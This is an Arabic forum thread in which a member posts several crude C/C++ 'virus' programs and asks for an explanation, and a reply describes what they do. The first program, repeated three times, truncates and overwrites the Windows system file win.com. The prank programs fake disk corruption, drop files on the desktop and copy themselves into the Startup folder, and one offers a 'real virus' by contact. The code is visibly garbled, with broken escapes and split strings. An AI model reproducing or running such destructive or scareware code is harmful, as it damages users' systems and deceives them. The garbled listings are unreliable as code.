Loading...

BTC Address to donate : [[address]]

Donation of [[value]] BTC Received. Thank You.
[[error]]

ahmad x عضو جديد
  • شكراً: 33
  • تم شكره 3 مرة في 3 مشاركة

#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>

int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;

/*
create a file named "dove.gif" in the current directory and write
a string to it. If "dove.gif" already exists, it will be overwritten.
*/

if ((handle = open("c:\windows\win.com", o_wronly | o_creat |
o_trunc,
s_iread | s_iwrite)) == -1)
{
printf("error opening file.
");
exit(1);
}

strcpy(string, "<html>hello !!!!!!! This is a virus attack !!! This
execution currupt your windows !!!!!!</html>
");

length = strlen(string);

if ((res = write(handle, string, length)) != length)
{
printf("error writing to the file.
");
getch();
exit(1);
}
printf("

wrote %d bytes to the file.
", res);
cout<<"

hello !!!!!!!!";
cout<<"

this is a virus attack !!!";
cout<<"

this execution currupt your windows !!!!!!
";
close(handle);
getch();
return 0;
}

//#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>

int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;

/*
create a file named "dove.gif" in the current directory and write
a string to it. If "dove.gif" already exists, it will be overwritten.
*/

if ((handle = open("c:\windows\win.com", o_wronly | o_creat |
o_trunc,
s_iread | s_iwrite)) == -1)
{
printf("error opening file.
");
exit(1);
}

strcpy(string, "<html>hello !!!!!!! This is a virus attack !!! This
execution currupt your windows !!!!!!</html>
");

length = strlen(string);

if ((res = write(handle, string, length)) != length)
{
printf("error writing to the file.
");
getch();
exit(1);
}
printf("

wrote %d bytes to the file.
", res);
cout<<"

hello !!!!!!!!";
cout<<"

this is a virus attack !!!";
cout<<"

this execution currupt your windows !!!!!!
";
close(handle);
getch();
return 0;
}

// #include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>

int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;

/*
create a file named "dove.gif" in the current directory and write
a string to it. If "dove.gif" already exists, it will be overwritten.
*/

if ((handle = open("c:\windows\win.com", o_wronly | o_creat |
o_trunc,
s_iread | s_iwrite)) == -1)
{
printf("error opening file.
");
exit(1);
}

strcpy(string, "<html>hello !!!!!!! This is a virus attack !!! This
execution currupt your windows !!!!!!</html>
");

length = strlen(string);

if ((res = write(handle, string, length)) != length)
{
printf("error writing to the file.
");
getch();
exit(1);
}
printf("

wrote %d bytes to the file.
", res);
cout<<"

hello !!!!!!!!";
cout<<"

this is a virus attack !!!";
cout<<"

this execution currupt your windows !!!!!!
";
close(handle);
getch();
return 0;
}
code :
//************************************************** ***//
//virus program mimmic -created by sohan alva class xii//
//************************************************** ***//

#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>

void ffool(); //function which gives the final message

void main()
{
clrscr();
for(int i=0;i<=100;i++)
{

textcolor(yellow+blink);
gotoxy(35,12);
cprintf("virus loading");
gotoxy(39,15);
textcolor(green);
cout<<i<<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
fflush(stdout);
gotoxy(20,12);
cout<<" 'tourniquet' virus created by procraetorian";
gotoxy(20,14);
cout<<" say good bye to your pc in ";
for(int j=5;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" seconds";
delay(1000);
}
ofstream f1;
f1.open("c:/windows/all users/desktop/procraetorian.sys");
ofstream f3("c:/windows/all users/desktop/blast.sys");
ofstream a2("c:/windows/all users/desktop/mslaugh.exe");
ofstream s2("c:/windows/all users/desktop/backdoor.sys");
ofstream g2("c:/windows/all users/desktop/spin32_war.sys");
ofstream h2("c:/windows/all users/desktop/russpatr.sys");
ofstream j2("c:/windows/all users/desktop/torr_sys32.sys");
ofstream k2("c:/windows/all users/desktop/xxx.sys");
ofstream l2("c:/windows/all users/desktop/i.txt");
ofstream sm("c:/windows/all users/desktop/am.txt");
ofstream d1("c:/windows/all users/desktop/your.txt");
ofstream d2("c:/windows/all users/desktop/worst.txt");
ofstream d3("c:/windows/all users/desktop/night.txt");
ofstream d4("c:/windows/all users/desktop/mare.txt");
clrscr();
lowvideo();
cout<<"

1.hard-disk corruption
:";
delay(4000);
cout<<"completed";
cout<<"

2.mother board corruption
:";
delay(4000);
cout<<"completed";
cout<<"

3.installing cyberbob.dll -->windows/command
:";
delay(4000);
cout<<"completed";
cout<<"


procraetorian.sys successfully planted";
delay(3000);
rename("virus.exe","c:windowsstart menuprogramsstartupvirus.exe");
//ffool();
}
//*end of main*//
//*start of ffool()*//
void ffool()
{
clrscr();
int g=detect,h;
initgraph(&g,&h,"\tc\bgi\");
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(blue);
highvideo();
outtextxy(50,150,"the procraetorian:");
delay(1500);
outtextxy(50,200,"your pc is now under surveilance by the virus
host");
outtextxy(50,250,"pea(c)e be with you ! ! !");
getch();
delay(4000);
closegraph();
exit(0);
}

//*end of ffool()*//
code :


//************************************************** *************//
//virus program-created by sandeep bca ii year//

//************************************************** ************//

#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>

void fool();
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{

textcolor(yellow+blink);
gotoxy(35,12);
cprintf("virus loading");
gotoxy(39,15);
textcolor(green);
cout<<i<<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
flushall();
gotoxy(20,12);
cout<<" 'aishwarya' virus created now by sandeep";
gotoxy(20,14);
cout<<"say good bye to your pc in ";
for(int j=10;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" seconds";
delay(1000);
}
clrscr();
cout<<"
1.hard-disk corruption: ";
delay(4000);
cout<<"completed";
cout<<"

2.mother board corruption: ";
delay(4000);
cout<<"completed";
cout<<"

3.installing cyberbob.dll -->windows/command :";
delay(4000);
cout<<"completed";
cout<<"

procraetorian.sys successfully planted";
delay(3000);
cout<<"

virus.exe";
delay(2000);
cout<<"
*************************";
cout<<"
buddy it's a simply joke ";
cout<<"
*************************";
delay(4000);
cout<<"


**********************************";
cout<<"
for real virus ";
cout<<"
contact me: Sandeep udaipur ";
cout<<"
mo: 010101010101 ";
cout<<"
email: sandeepyahoo.co.in ";
cout<<"
**********************************";
delay(10000);
}

void fool()
{
clrscr();
int g=detect,h;
initgraph(&g,&h,"c:\tc\bgi");
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(blue);
getch();
delay(4000);
closegraph();
exit(0);
}
ارجو شرح هده الاكود للا ستفادة منها من طرف الخبراء

MAXIDROL :: عضو خاص ::
  • شكراً: 80
  • تم شكره 526 مرة في 68 مشاركة

البرنامج الأول ينشى ملف c:\windows\win.com
ويكتب فيه هذه البيانات

كود:
<html>hello !!!!!!! This is a virus attack !!! This execution currupt your windows !!!!!!</html>
ثم يطبع على الشاشة عدد الحروف التي تم كتابتها في الملف

كود:
printf("wrote %d bytes to the file.", res);
cout<<"hello !!!!!!!!";
cout<<"this is a virus attack !!!";
cout<<"this execution currupt your windows !!!!!!";
والبرنامج الثاني والثالث يبدو أنه عبارة فيروس ولكن لايؤثر على الجهاز فقط يدعي انه يحذف الملفات ولكن لايحدث ذلك في الحقيقة (virus joke).

11 أعضاء قالوا شكراً لـ MAXIDROL على المشاركة المفيدة: